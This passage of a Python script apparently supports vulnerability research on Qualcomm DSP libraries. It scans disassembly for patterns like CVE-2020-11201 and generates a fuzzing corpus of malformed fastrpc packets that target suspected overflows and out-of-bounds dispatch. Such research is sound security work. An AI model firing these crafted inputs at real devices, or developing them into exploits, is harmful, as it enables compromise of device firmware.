def scan_signed_len_check(insns: list[dict]) -> list[Finding]:
    """
    CVE-2020-11201 pattern: length value checked with SIGNED comparison
    but then used as unsigned index/size in memory operation.

    Heuristic: signed cmp within 8 insns of a mem op, same function.
    """
    findings = []
    for i, insn in enumerate(insns):
        raw = insn['raw']
        if not is_signed_cmp(raw):
            continue
        for j in range(i+1, min(i+10, len(insns))):
            nxt = insns[j]
            if nxt['func'] != insn['func']:
                break
            if is_mem_op(nxt['raw']):
                findings.append(Finding(
                    vuln_type='SIGNED_LEN_CHECK',
                    addr=insn['addr'],
                    func=insn['func'] or '',
                    desc=f"Signed cmp at {insn['addr']:#x} → mem op at {nxt['addr']:#x}",
                    severity='HIGH',
                    evidence=[raw, nxt['raw']],
                ))
                break
    return findings


# ─── Pattern 2: dispatch table OOB index ─────────────────────────────────────

def scan_dispatch_invoke(insns: list[dict], func_name: str = 'sysmon_skel_invoke') -> dict:
    """
    Analyze the main skel_invoke dispatcher:
    - Look for method_id used as array index without bounds check
    - Flag signed comparisons in dispatcher

    sysmon_skel_invoke pattern:
      r4 = extractu(_sc, #5, #0x18)   ← method_id (5 bits, 0-31)
      r4 = memw(r3+r4<<#0x2)          ← dispatch table lookup (OOB if no check)
    """
    func_insns = [i for i in insns if i['func'] == func_name]
    if not func_insns:
        return {'methods': [], 'error': f'Function {func_name} not found'}

    print(f"  [*] {func_name}: {len(func_insns)} instructions")

    target_counts = {}
    for insn in func_insns:
        if 'jump' in insn['mnemonic'] or 'jump' in insn['raw']:
            m = re.search(r'0x([0-9a-f]+)', insn['raw'])
            if m:
                t = int(m.group(1), 16)
                target_counts[t] = target_counts.get(t, 0) + 1

    error_addr = None
    if target_counts:
        error_addr = max(target_counts, key=lambda k: target_counts[k])
        print(f"  [*] Error handler likely at {error_addr:#x} ({target_counts[error_addr]} jumps)")

    checks = []
    calls = []
    for insn in func_insns:
        raw = insn['raw']
        if is_unsigned_cmp(raw) or is_signed_cmp(raw):
            imm = extract_cmp_imm(raw)
            checks.append({'addr': insn['addr'], 'raw': raw, 'imm': imm,
                           'signed': is_signed_cmp(raw)})
        if is_call(insn['mnemonic']):
            target = extract_call_target(insn['operands'])
            calls.append({'addr': insn['addr'], 'target': target})

    print(f"  [*] Found {len(checks)} size/count checks, {len(calls)} function calls")

    signed_checks = [c for c in checks if c['signed']]
    if signed_checks:
        print(f"\n  [!!!] SIGNED comparisons in {func_name} ({len(signed_checks)}):")
        for c in signed_checks[:20]:
            print(f"        {c['addr']:#x}: {c['raw']}")
    else:
        print(f"  [+] All comparisons appear UNSIGNED (cmp.gtu)")

    target_funcs = set(c['target'] for c in calls if c['target'])
    print(f"  [*] Dispatch targets: {sorted(target_funcs)}")

    return {
        'func': func_name,
        'insn_count': len(func_insns),
        'checks': checks,
        'calls': calls,
        'error_addr': error_addr,
        'signed_checks': signed_checks,
    }


# ─── Pattern 3: memtest_memcpy size validation ───────────────────────────────

def analyze_memtest_memcpy(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'memtest_memcpy']
    if not func_insns:
        return findings

    has_size_check = False
    calls_found = []

    for insn in func_insns:
        raw = insn['raw']
        if 'cmp' in raw and ('r2' in raw or 'r3' in raw):
            has_size_check = True
        if is_call(insn['mnemonic']):
            t = extract_call_target(insn['operands'])
            calls_found.append((insn['addr'], t))

    if not has_size_check:
        findings.append(Finding(
            vuln_type='MISSING_SIZE_CHECK',
            addr=func_insns[0]['addr'],
            func='memtest_memcpy',
            desc='memtest_memcpy: no size validation found before copy operation',
            severity='HIGH',
        ))

    for addr, target in calls_found:
        print(f"  [*] memtest_memcpy call @ {addr:#x} → {target:#x if target else '?'}")

    return findings


# ─── Pattern 4: sysmon_mem_test overflow ─────────────────────────────────────

def analyze_sysmon_mem_test(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_mem_test']

    mpys = [i for i in func_insns if 'mpyi' in i['raw'] or 'mpyu' in i['raw']]
    if mpys:
        findings.append(Finding(
            vuln_type='INT_OVERFLOW_IN_SIZE',
            addr=mpys[0]['addr'],
            func='sysmon_mem_test',
            desc=f"sysmon_mem_test multiply @ {mpys[0]['addr']:#x}: {mpys[0]['raw']}",
            severity='MEDIUM',
            evidence=[m['raw'] for m in mpys[:3]],
        ))

    return findings


# ─── Pattern 5: usermode_buffer_copy hardcoded size ──────────────────────────

def analyze_usermode_buffer_copy(insns: list[dict]) -> list[Finding]:
    """
    sysmon_usermode_buffer_copy: hardcoded dst_size=0x101.
    CVE-2020-11201 pattern: check if caller validates src_len as signed.
    """
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_usermode_buffer_copy']
    if not func_insns:
        func_insns = [i for i in insns if i['func'] and 'usermode_buffer' in i['func']]

    for insn in func_insns:
        if '0x101' in insn['raw'] or '##0x100' in insn['raw']:
            print(f"  [!] Hardcoded dst_size=0x101 at {insn['addr']:#x}: {insn['raw']}")
            findings.append(Finding(
                vuln_type='HARDCODED_BUFFER_SIZE',
                addr=insn['addr'],
                func=insn['func'] or '',
                desc=f"Hardcoded dst_size=0x101 at {insn['addr']:#x}",
                severity='MEDIUM',
                evidence=[insn['raw']],
            ))

    return findings


# ─── fastrpc corpus generator ─────────────────────────────────────────────────

def build_fastrpc_packet(method_sc: int, args: list[bytes]) -> bytes:
    """
    Build fastrpc invocation packet for fuzzing harness.
    Format: [4B: sc] [4B: num_args] [per arg: 4B nLen + data]
    """
    out = struct.pack('<II', method_sc, len(args))
    for arg in args:
        out += struct.pack('<I', len(arg))
        out += arg
    return out


def generate_sysmon_corpus() -> list[tuple[str, bytes]]:
    corpus = []

    # Normal: method 0, small buffer
    corpus.append(('sysmon_reg_profiler_valid',
        build_fastrpc_packet(0, [b'\x01\x00\x00\x00', b'\x00\x00\x00\x00'])))

    # sysmon_usermode_buffer_copy: boundary 0x101 bytes
    corpus.append(('usermode_buffer_copy_exact',
        build_fastrpc_packet(3, [b'A' * 0x101, b'\x00' * 0x101])))

    # Off-by-one: 0x102 bytes
    corpus.append(('usermode_buffer_copy_oob',
        build_fastrpc_packet(3, [b'A' * 0x102, b'\x00' * 0x102])))

    # Negative length: nLen=0xFFFFFFFF (sign extension test)
    pkt = struct.pack('<III', 3, 1, 0xFFFFFFFF)
    pkt += b'A' * 4
    corpus.append(('usermode_buffer_copy_neg_len', pkt))

    # OOB dispatch: method_id=31 (max 5-bit) — no bounds check expected
    corpus.append(('oob_dispatch_method31',
        build_fastrpc_packet((31 << 24) | (1 << 16) | (1 << 8),
                              [b'B' * 0x10, b'\x00' * 0x10])))

    # All zeros
    corpus.append(('all_zeros', build_fastrpc_packet(0, [b'\x00' * 4])))

    # Corrupt sc
    corpus.append(('corrupt_sc', struct.pack('<I', 0xFFFFFFFF) + b'\x00' * 32))

    return corpus


def mutate_corpus(corpus: list[tuple[str, bytes]], n: int = 200) -> list[tuple[str, bytes]]:
    import random
    mutated = list(corpus)

    INTERESTING = [0, 1, -1, 0x7F, 0x80, 0xFF, 0x100, 0x101, 0x7FFF, 0x8000,
                   0xFFFF, 0x10000, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF]

    for i in range(n):
        name, data = random.choice(corpus)
        data = bytearray(data)

        strat = random.randint(0, 5)
        if strat == 0 and len(data) >= 8:
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, 8, val)
        elif strat == 1 and len(data) > 0:
            pos = random.randint(0, len(data)-1)
            data[pos] ^= random.randint(1, 255)
        elif strat == 2 and len(data) >= 4:
            struct.pack_into('<I', data, 0, random.randint(0, 100))
        elif strat == 3 and len(data) >= 8:
            for j in range(12, len(data)):
                data[j] = 0x41
        elif strat == 4:
            data += bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
        elif strat == 5 and len(data) >= 8:
            pos = random.randint(0, (len(data)//4 - 1)) * 4
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, pos, val)

        mutated.append((f'mut_{name}_{i:04d}', bytes(data)))

    return mutated


# ─── Main ─────────────────────────────────────────────────────────────────────

def main():
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('--lib', default='libsysmon_skel.so')
    parser.add_argument('--corpus', action='store_true', help='Generate fuzzing corpus')
    parser.add_argument('--all-libs', action='store_true', help='Scan all libraries')
    args = parser.parse_args()

    libs = list(LIB_DIR.glob('*.so')) if args.all_libs else [LIB_DIR / args.lib]
    all_findings = []

    for lib_path in libs:
        print(f"\n{'='*60}")
        print(f"Library: {lib_path.name}")
        print(f"{'='*60}")

        try:
            insns = disasm(str(lib_path))
        except Exception as e:
            print(f"[!] Disassembly failed: {e}")
            continue

        print(f"[+] Disassembled {len(insns)} instructions")
        funcs = sorted(set(i['func'] for i in insns if i['func']))
        print(f"[+] Functions: {len(funcs)}")

        print(f"\n--- Pattern 1: Signed length checks ---")
        f1 = scan_signed_len_check(insns)
        all_findings.extend(f1)
        for f in f1[:10]:
            print(f"  [{'!!!' if f.severity == 'HIGH' else '!'}] {f.desc}")
        if not f1:
            print("  (none found)")

        print(f"\n--- Pattern 2: Dispatcher analysis ---")
        for fn in ['sysmon_skel_invoke', 'cdsp_skel_invoke', 'skel_invoke']:
            if any(i['func'] == fn for i in insns):
                scan_dispatch_invoke(insns, fn)

        print(f"\n--- Pattern 3: memtest_memcpy ---")
        f3 = analyze_memtest_memcpy(insns)
        all_findings.extend(f3)

        print(f"\n--- Pattern 4: sysmon_mem_test ---")
        f4 = analyze_sysmon_mem_test(insns)
        all_findings.extend(f4)

        print(f"\n--- Pattern 5: usermode_buffer_copy ---")
        f5 = analyze_usermode_buffer_copy(insns)
        all_findings.extend(f5)

        print(f"\n--- Summary ---")
        print(f"  Total: {len(f1)+len(f3)+len(f4)+len(f5)}")
        print(f"  HIGH:  {len([f for f in all_findings if f.severity == 'HIGH'])}")

    if args.corpus:
        OUT_DIR.mkdir(exist_ok=True)
        corpus_dir = OUT_DIR / 'corpus_sysmon'
        corpus_dir.mkdir(exist_ok=True)

        seeds = generate_sysmon_corpus()
        mutated = mutate_corpus(seeds, n=200)
        for name, data in seeds + mutated:
            (corpus_dir / f'{name}.bin').write_bytes(data)

        print(f"\n[+] Written {len(seeds + mutated)} test cases to {corpus_dir}/")
        print(f"afl-fuzz -i {corpus_dir}/ -o {OUT_DIR}/afl_out/ -- ./sysmon_harness @@")


if __name__ == '__main__':
    main()